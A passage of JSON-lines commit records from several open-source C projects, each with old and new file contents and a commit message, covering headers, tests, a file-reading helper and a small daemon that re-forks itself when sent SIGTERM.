logging.\nIPC_MESSAGE_CONTROL1(ChildProcessMsg_SetIPCLoggingEnabled,\n                     bool \/* on or off *\/)\n#endif\n\n\/\/ Messages sent from the child process to the browser.\n\nIPC_MESSAGE_CONTROL0(ChildProcessHostMsg_ShutdownRequest)\n\n\/\/ Get the list of proxies to use for |url|, as a semicolon delimited list\n\/\/ of \"<TYPE> <HOST>:<PORT>\" | \"DIRECT\".\nIPC_SYNC_MESSAGE_CONTROL1_2(ChildProcessHostMsg_ResolveProxy,\n                            GURL \/* url *\/,\n                            int \/* network error *\/,\n                            std::string \/* proxy list *\/)\n","subject":"Add newline at end of file","message":"Add newline at end of file\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@78227 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"chuan9\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,TheTypoMaster\/chromium-crosswalk,rogerwang\/chromium,dednal\/chromium.src,jaruba\/chromium.src,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,jaruba\/chromium.src,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,littlstar\/chromium.src,chuan9\/chromium-crosswalk,anirudhSK\/chromium,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,littlstar\/chromium.src,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,dushu1203\/chromium.src,dednal\/chromium.src,markYoungH\/chromium.src,nacl-webkit\/chrome_deps,dushu1203\/chromium.src,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,nacl-webkit\/chrome_deps,hgl888\/chromium-crosswalk-efl,keishi\/chromium,pozdnyakov\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,jaruba\/chromium.src,markYoungH\/chromium.src,jaruba\/chromium.src,markYoungH\/chromium.src,zcbenz\/cefode-chromium,littlstar\/chromium.src,hgl888\/chromium-crosswalk-efl,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,timopulkkinen\/BubbleFish,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,M4sse\/chromium.src,dushu1203\/chromium.src,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,M4sse\/chromium.src,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,robclark\/chromium,Fireblend\/chromium-crosswalk,keishi\/chromium,keishi\/chromium,mogoweb\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,robclark\/chromium,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,littlstar\/chromium.src,Chilledheart\/chromium,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,hujiajie\/pa-chromium,timopulkkinen\/BubbleFish,ltilve\/chromium,pozdnyakov\/chromium-crosswalk,Jonekee\/chromium.src,axinging\/chromium-crosswalk,rogerwang\/chromium,mogoweb\/chromium-crosswalk,chuan9\/chromium-crosswalk,anirudhSK\/chromium,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,hujiajie\/pa-chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,M4sse\/chromium.src,dednal\/chromium.src,ChromiumWebApps\/chromium,pozdnyakov\/chromium-crosswalk,jaruba\/chromium.src,Just-D\/chromium-1,hgl888\/chromium-crosswalk-efl,Jonekee\/chromium.src,littlstar\/chromium.src,hujiajie\/pa-chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,TheTypoMaster\/chromium-crosswalk,M4sse\/chromium.src,jaruba\/chromium.src,ChromiumWebApps\/chromium,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,PeterWangIntel\/chromium-crosswalk,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,zcbenz\/cefode-chromium,dednal\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,nacl-webkit\/chrome_deps,ltilve\/chromium,ChromiumWebApps\/chromium,mogoweb\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,Jonekee\/chromium.src,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,junmin-zhu\/chromium-rivertrail,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,anirudhSK\/chromium,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,rogerwang\/chromium,mohamed--abdel-maksoud\/chromium.src,Jonekee\/chromium.src,Fireblend\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,Just-D\/chromium-1,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,markYoungH\/chromium.src,robclark\/chromium,M4sse\/chromium.src,ondra-novak\/chromium.src,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,timopulkkinen\/BubbleFish,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,keishi\/chromium,hujiajie\/pa-chromium,Chilledheart\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,robclark\/chromium,Pluto-tv\/chromium-crosswalk,littlstar\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,hujiajie\/pa-chromium,krieger-od\/nwjs_chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,littlstar\/chromium.src,dednal\/chromium.src,timopulkkinen\/BubbleFish,Just-D\/chromium-1,Jonekee\/chromium.src,ChromiumWebApps\/chromium,Just-D\/chromium-1,dushu1203\/chromium.src,zcbenz\/cefode-chromium,ltilve\/chromium,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,hgl888\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,nacl-webkit\/chrome_deps,bright-sparks\/chromium-spacewalk,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,Just-D\/chromium-1,dednal\/chromium.src,Jonekee\/chromium.src,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,keishi\/chromium,pozdnyakov\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,jaruba\/chromium.src,anirudhSK\/chromium,fujunwei\/chromium-crosswalk,ChromiumWebApps\/chromium,ChromiumWebApps\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,hgl888\/chromium-crosswalk,M4sse\/chromium.src,rogerwang\/chromium,patrickm\/chromium.src,mohamed--abdel-maksoud\/chromium.src,axinging\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,fujunwei\/chromium-crosswalk,Chilledheart\/chromium,hujiajie\/pa-chromium,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,markYoungH\/chromium.src,robclark\/chromium,dushu1203\/chromium.src,rogerwang\/chromium,littlstar\/chromium.src,dednal\/chromium.src,ondra-novak\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,Chilledheart\/chromium,dednal\/chromium.src,nacl-webkit\/chrome_deps,zcbenz\/cefode-chromium,Just-D\/chromium-1,TheTypoMaster\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,Fireblend\/chromium-crosswalk,nacl-webkit\/chrome_deps,junmin-zhu\/chromium-rivertrail,nacl-webkit\/chrome_deps,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,M4sse\/chromium.src,robclark\/chromium,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,timopulkkinen\/BubbleFish,anirudhSK\/chromium,ondra-novak\/chromium.src,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,pozdnyakov\/chromium-crosswalk,rogerwang\/chromium,keishi\/chromium,patrickm\/chromium.src,PeterWangIntel\/chromium-crosswalk,markYoungH\/chromium.src,Chilledheart\/chromium,robclark\/chromium,keishi\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,hgl888\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,junmin-zhu\/chromium-rivertrail,Jonekee\/chromium.src,Jonekee\/chromium.src,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,dednal\/chromium.src,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,ondra-novak\/chromium.src,anirudhSK\/chromium,mogoweb\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,crosswalk-project\/chromium-crosswalk-efl,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,zcbenz\/cefode-chromium,crosswalk-project\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Pluto-tv\/chromium-crosswalk,robclark\/chromium,fujunwei\/chromium-crosswalk,Just-D\/chromium-1,anirudhSK\/chromium,hujiajie\/pa-chromium,ChromiumWebApps\/chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,dednal\/chromium.src,Chilledheart\/chromium,rogerwang\/chromium,keishi\/chromium,dednal\/chromium.src,fujunwei\/chromium-crosswalk,robclark\/chromium,ltilve\/chromium,dushu1203\/chromium.src,mogoweb\/chromium-crosswalk,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,Fireblend\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,nacl-webkit\/chrome_deps,rogerwang\/chromium,Pluto-tv\/chromium-crosswalk,fujunwei\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,keishi\/chromium,crosswalk-project\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,hgl888\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,ondra-novak\/chromium.src,mogoweb\/chromium-crosswalk,axinging\/chromium-crosswalk,axinging\/chromium-crosswalk,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,junmin-zhu\/chromium-rivertrail,bright-sparks\/chromium-spacewalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,rogerwang\/chromium,Just-D\/chromium-1,chuan9\/chromium-crosswalk,markYoungH\/chromium.src,mohamed--abdel-maksoud\/chromium.src,anirudhSK\/chromium,ondra-novak\/chromium.src,keishi\/chromium,M4sse\/chromium.src,fujunwei\/chromium-crosswalk,markYoungH\/chromium.src,patrickm\/chromium.src,ltilve\/chromium,axinging\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,ChromiumWebApps\/chromium"}
{"commit":"4d203821876f5e4e87c75417224e79035ecf0641","old_file":"src\/session\/manager.h","new_file":"src\/session\/manager.h","old_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n#ifndef __WS_SESSION_MANAGER_H__\n#define __WS_SESSION_MANAGER_H__\n\n\n\n#endif \/\/ __WS_SESSION_MANAGER_H__\n","new_contents":"\/*\n * waysome - wayland based window manager\n *\n * Copyright in alphabetical order:\n *\n * Copyright (C) 2014-2015 Julian Ganz\n * Copyright (C) 2014-2015 Manuel Messner\n * Copyright (C) 2014-2015 Marcel Müller\n * Copyright (C) 2014-2015 Matthias Beyer\n * Copyright (C) 2014-2015 Nadja Sommerfeld\n *\n * This file is part of waysome.\n *\n * waysome is free software: you can redistribute it and\/or modify it under the\n * terms of the GNU Lesser General Public License as published by the Free\n * Software Foundation, either version 2.1 of the License, or (at your option)\n * any later version.\n *\n * waysome is distributed in the hope that it will be useful, but WITHOUT ANY\n * WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR\n * A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more\n * details.\n *\n * You should have received a copy of the GNU Lesser General Public License\n * along with waysome. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n *\/\n\n\/**\n * @addtogroup session \"Session manager\"\n *\n * @{\n *\/\n\n#ifndef __WS_SESSION_MANAGER_H__\n#define __WS_SESSION_MANAGER_H__\n\n\n\n#endif \/\/ __WS_SESSION_MANAGER_H__\n\n\/**\n * @}\n *\/\n\n","subject":"Add session files to session doc group","message":"Add session files to session doc group\n","lang":"C","license":"lgpl-2.1","repos":"waysome\/waysome,waysome\/waysome"}
{"commit":"a20f753e2585ef887f7242e7bd8863836df65715","old_file":"8\/platform.h","new_file":"8\/platform.h","old_contents":"#if defined(__APPLE__) && defined(__MACH__)\n\/* for OSX *\/\n#   define Fprefix \"_\"\n#else\n\/* Default to linux *\/\n#   define Fprefix \"\"\n#endif\n#define Assembler \"as --32 -g -o %s -\"\n","new_contents":"#if defined(__APPLE__) && defined(__MACH__)\n\/* for OSX *\/\n#   define Assembler \"as -arch i386 -g -o %s -\"\n#   define Fprefix \"_\"\n#else\n\/* Default to linux *\/\n#   define Assembler \"as --32 -g -o %s -\"\n#   define Fprefix \"\"\n#endif\n","subject":"Use the appropriate assembler for OSX.","message":"Use the appropriate assembler for OSX.\n","lang":"C","license":"mit","repos":"8l\/myrddin,oridb\/mc,oridb\/mc,8l\/myrddin,oridb\/mc,oridb\/mc"}
{"commit":"fa741677fbe2bd4f5ba40268e2418cf7420f5e98","old_file":"SSPSolution\/SSPSolution\/DoorEntity.h","new_file":"SSPSolution\/SSPSolution\/DoorEntity.h","old_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tstruct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","new_contents":"#ifndef SSPAPPLICATION_ENTITIES_DOORENTITY_H\n#define SSPAPPLICATION_ENTITIES_DOORENTITY_H\n\n#include \"Entity.h\"\n#include <vector>\n\nclass DoorEntity :\n\tpublic Entity\n{\nprivate:\n\tstruct ElementState {\n\t\tint entityID;\n\t\tEVENT desiredState;\n\t\tbool desiredStateReached;\n\t};\n\n\tstd::vector<ElementState> m_elementStates;\n\t\n\tbool m_isOpened;\n\tfloat m_minRotation;\n\tfloat m_maxRotation;\n\tfloat m_rotateTime;\n\tfloat m_rotatePerSec;\n\npublic:\n\tDoorEntity();\n\tvirtual ~DoorEntity();\n\t\n\tint Initialize(int entityID, PhysicsComponent* pComp, GraphicsComponent* gComp, float rotateTime = 1.0f, float minRotation = 0.0f, float maxRotation = DirectX::XM_PI \/ 2.0f);\n\n\tint Update(float dT, InputHandler* inputHandler);\n\tint React(int entityID, EVENT reactEvent);\n\n\tbool SetIsOpened(bool isOpened);\n\tbool GetIsOpened();\n};\n\n#endif","subject":"UPDATE Door rotation standard of 90 degrees","message":"UPDATE Door rotation standard of 90 degrees\n","lang":"C","license":"apache-2.0","repos":"Chringo\/SSP,Chringo\/SSP"}
{"commit":"3ab057f7b9e5f98210eabd53165d74282b5a6bdb","old_file":"test\/PCH\/modified-header-error.c","new_file":"test\/PCH\/modified-header-error.c","old_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n\/\/ DISABLE: win32\n\n","new_contents":"\/\/ RUN: mkdir -p %t.dir\n\/\/ RUN: echo '#include \"header2.h\"' > %t.dir\/header1.h\n\/\/ RUN: echo > %t.dir\/header2.h\n\/\/ RUN: cp %s %t.dir\/t.c\n\/\/ RUN: %clang_cc1 -x c-header %t.dir\/header1.h -emit-pch -o %t.pch\n\/\/ RUN: echo >> %t.dir\/header2.h\n\/\/ RUN: %clang_cc1 %t.dir\/t.c -include-pch %t.pch -fsyntax-only 2>&1 | FileCheck %s\n\n#include \"header2.h\"\n\n\/\/ CHECK: fatal error: file {{.*}} has been modified since the precompiled header was built\n\/\/ REQUIRES: shell\n","subject":"Disable on Windows, for real.","message":"Disable on Windows, for real.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@143027 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"8b30c206f7da701fa5c609c1100c3957ae22c916","old_file":"src\/Vector3.h","new_file":"src\/Vector3.h","old_contents":"#pragma once\n\n#include <math.h>\n\nstruct Vector3 {\n    union {\n        float v[3];\n        struct {\n            float x;\n            float y;\n            float z;\n        };\n        struct {\n            float azimuth;\n            float pitch;\n            float roll;\n        };\n    };\n\n    Vector3() {\n        x = 0;\n        y = 0;\n        z = 0;\n    }\n\n    float norm() {\n        return sqrt(x*x + y*y + z*z);\n    }\n\n    void normalize() {\n        float n = norm();\n\n        if(n > 0) {\n            x \/= n;\n            y \/= n;\n            z \/= n;\n        }\n    }\n};\n","new_contents":"#pragma once\n\n#include <math.h>\n\nstruct Vector3 {\n    union {\n        float v[3];\n        struct {\n            float x;\n            float y;\n            float z;\n        };\n        struct {\n            union {\n                float azimuth;\n                float yaw;\n            };\n            float pitch;\n            float roll;\n        };\n    };\n\n    Vector3() {\n        x = 0;\n        y = 0;\n        z = 0;\n    }\n\n    float norm() {\n        return sqrt(x*x + y*y + z*z);\n    }\n\n    void normalize() {\n        float n = norm();\n\n        if(n > 0) {\n            x \/= n;\n            y \/= n;\n            z \/= n;\n        }\n    }\n};\n","subject":"Allow both yaw and azimuth","message":"Allow both yaw and azimuth\n","lang":"C","license":"mit","repos":"loopj\/i2c-sensor-hal,loopj\/i2c-sensor-hal"}
{"commit":"3e7ab39853701277f637eed91630b4b152212d26","old_file":"src\/slurp.c","new_file":"src\/slurp.c","old_contents":"#include <cgreen\/slurp.h>\n#include <stdlib.h>\n#include <stdio.h>\n\nstatic char *read_all(FILE *file, int gulp);\n\nchar *slurp(const char *file_name, int gulp) {\n    FILE *file = fopen(file_name, \"r\");\n    if (file == NULL) {\n        return NULL;\n    }\n    char *content = read_all(file, gulp);\n    fclose(file);\n    return content;\n}\n\nstatic char *read_all(FILE *file, int gulp) {\n    char *content = (char *)malloc((gulp + 1) * sizeof(char));\n    char *block = content;\n    for ( ; ; ) {\n        if (fgets(block, gulp + 1, file) == NULL) {\n            break;\n        }\n        block += gulp;\n        content = (char *)realloc(content, (block - content + 1) * sizeof(char));\n    }\n    return content;\n}\n","new_contents":"#include <cgreen\/slurp.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <strings.h>\n\nstatic char *read_all(FILE *file, int gulp);\n\nchar *slurp(const char *file_name, int gulp) {\n    FILE *file = fopen(file_name, \"r\");\n    if (file == NULL) {\n        return NULL;\n    }\n    char *content = read_all(file, gulp);\n    fclose(file);\n    return content;\n}\n\nstatic char *read_all(FILE *file, int gulp) {\n    char *content = (char *)malloc(0);\n    int sblock = (gulp + 1) * sizeof(char);\n    char *block = (char *)malloc(sblock);\n    int len = 0;\n    int add = 0;\n    char *p;\n    for ( ; ; ) {\n        if (fgets(block, sblock, file) == NULL) {\n            break;\n        }\n\t\n        len  = strlen(block);\n\tadd += len;\n\n        p = (char *)realloc(content, add + 1);\n\tif (p == NULL) {\n\t\texit(1);\n\t}\n        content = p;\n\n\tstrncat(content, block, len);\n    }\n    content[add + 1] = '\\0';\n    free(block);\n    return content;\n}\n\n","subject":"Fix read_all and return content without segment fault","message":"Fix read_all and return content without segment fault","lang":"C","license":"isc","repos":"matthargett\/cgreen,gardenia\/cgreen,matthargett\/cgreen,cgreen-devs\/cgreen,gardenia\/cgreen,gardenia\/cgreen,cgreen-devs\/cgreen,cgreen-devs\/cgreen,matthargett\/cgreen,thoni56\/cgreen,gardenia\/cgreen,matthargett\/cgreen,ykaliuta\/cgreen,thoni56\/cgreen,cgreen-devs\/cgreen,thoni56\/cgreen,thoni56\/cgreen,ykaliuta\/cgreen,ykaliuta\/cgreen,cgreen-devs\/cgreen,thoni56\/cgreen,ykaliuta\/cgreen,gardenia\/cgreen,matthargett\/cgreen,ykaliuta\/cgreen"}
{"commit":"6719e546217bdc012ed0b1853032987c1d4e7a49","old_file":"src\/daemon\/serversock.h","new_file":"src\/daemon\/serversock.h","old_contents":"","new_contents":"\/**\n *  tapcfg - A cross-platform configuration utility for TAP driver\n *  Copyright (C) 2008  Juho Vähä-Herttua\n *\n *  This library is free software; you can redistribute it and\/or\n *  modify it under the terms of the GNU Lesser General Public\n *  License as published by the Free Software Foundation; either\n *  version 2.1 of the License, or (at your option) any later version.\n *\n *  This library is distributed in the hope that it will be useful,\n *  but WITHOUT ANY WARRANTY; without even the implied warranty of\n *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n *  Lesser General Public License for more details.\n *\/\n\n#ifndef SERVERSOCK_H\n#define SERVERSOCK_H\n\n#include \"tapcfg.h\"\n\ntypedef struct serversock_s serversock_t;\n\nserversock_t *serversock_tcp(unsigned short *local_port, int use_ipv6, int public);\nint serversock_get_fd(serversock_t *server);\nint serversock_accept(serversock_t *server);\nvoid serversock_destroy(serversock_t *server);\n\n#endif\n","subject":"Add missing header from last commit","message":"Add missing header from last commit","lang":"C","license":"lgpl-2.1","repos":"juhovh\/tapcfg,eyecreate\/tapcfg,juhovh\/tapcfg,zhanleewo\/tapcfg,zhanleewo\/tapcfg,eyecreate\/tapcfg,juhovh\/tapcfg,juhovh\/tapcfg,juhovh\/tapcfg,eyecreate\/tapcfg,zhanleewo\/tapcfg,eyecreate\/tapcfg,juhovh\/tapcfg,zhanleewo\/tapcfg,zhanleewo\/tapcfg,eyecreate\/tapcfg"}
{"commit":"abdcf820d40c063e8542291cfbf51a6eb7e28253","old_file":"usespace\/daemon-one.c","new_file":"usespace\/daemon-one.c","old_contents":"#include <signal.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nvoid spawn_again(int signum)\n{\n\t(void) signum; \/* unused *\/\n\n\tpid_t pid = fork();\n\tif (pid == 0) {\n\t\tsetsid();\n\t\treturn;\n\t}\n\texit(EXIT_SUCCESS);\n}\n\nint main(int argc, char **argv)\n{\n\tstruct sigaction new_action = { 0 };\n\tnew_action.sa_handler = &spawn_again;\n\tsigaction (SIGTERM, &new_action, NULL);\n\n\t\/* do something *\/\n\twhile(1) {};\n}\n","new_contents":"#include <signal.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <stdio.h>\n#include <sys\/shm.h>\n\n#define NUMBER_OF_THE_BEAST 666\n\nstruct shared {\n\tpid_t pid;\n};\n\nstatic struct shared *shared;\n\nvoid spawn_again(int signum)\n{\n\t(void) signum; \/* unused *\/\n\n\tpid_t pid = fork();\n\tif (pid == 0) {\n\t\t\/* signalize change of pid ...\n\t\t * don't bother with atomicity here...\n\t\t * *\/\n\t\tshared->pid = getpid();\n\t\tsetsid();\n\t\treturn;\n\t}\n\texit(EXIT_SUCCESS);\n}\n\nint main(int argc, char **argv)\n{\n\t\/* Initialize shard memory *\/\n\tconst int shmid = shmget(NUMBER_OF_THE_BEAST, sizeof(struct shared), IPC_CREAT | 0666);\n\tif (shmid == -1) {\n\t\tperror(\"shmget failed!\");\n\t\texit(EXIT_FAILURE);\n\t}\n\tshared = (struct shared*) shmat(shmid, NULL, 0);\n\tif (shared == NULL) {\n\t\tperror(\"shmat failed!\");\n\t\texit(EXIT_FAILURE);\n\t}\n\tshared->pid = getpid();\n\n\t\/* Set signal handlers *\/\n\tstruct sigaction new_action = { 0 };\n\tnew_action.sa_handler = &spawn_again;\n\tsigaction (SIGTERM, &new_action, NULL);\n\n\t\/* do something *\/\n\twhile(1) {};\n}\n","subject":"Add basic support for shared memory","message":"userspace: Add basic support for shared memory\n\nBasic communication protocol between daemons.\n","lang":"C","license":"bsd-3-clause","repos":"ClosedHouse\/contest,ClosedHouse\/contest,ClosedHouse\/contest"}
{"commit":"50e626531255c21434a9680e8c9986edb1ae90f4","old_file":"tests\/noreturn.c","new_file":"tests\/noreturn.c","old_contents":"#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"noreturn.h\"\n\n\/\/ Because assert_fail is marked as noreturn, the call to it is not followed\n\/\/ by another instruction in this function.\n\/\/ This test ensures that \"thisFunctionWontReturn is on the dumped stack.\nint thisFunctionWontReturn(int x)\n{\n    if (x) {\n        for (int i = 0; i < 10; ++i) {\n            printf(\"%d green bottles hanging on the wall\", 10 - i);\n        }\n        thisFunctionTerminatesTheProcess();\n    }\n    return 0;\n}\n\nint\nmain()\n{\n    thisFunctionWontReturn(1);\n}\n","new_contents":"#include <assert.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include \"noreturn.h\"\n\n\/\/ Because assert_fail is marked as noreturn, the call to it is not followed\n\/\/ by another instruction in this function.\n\/\/ This test ensures that \"thisFunctionWontReturn is on the dumped stack.\n__attribute__((noinline, weak)) \/\/ avoid inlining or IPO.\nint thisFunctionWontReturn(int x)\n{\n    if (x) {\n        for (int i = 0; i < 10; ++i) {\n            printf(\"%d green bottles hanging on the wall\\n\", 10 - i);\n        }\n        thisFunctionTerminatesTheProcess();\n    }\n    return 0;\n}\n\nint\nmain()\n{\n    thisFunctionWontReturn(1);\n}\n","subject":"Make tests work in gcc11\/clang","message":"Make tests work in gcc11\/clang\n\nWhen inlined, we lose our stackframe for our trampoline function in this\ntest - disallow the optimisations that break the test.\n","lang":"C","license":"bsd-2-clause","repos":"peadar\/pstack,peadar\/pstack,peadar\/pstack,peadar\/pstack"}
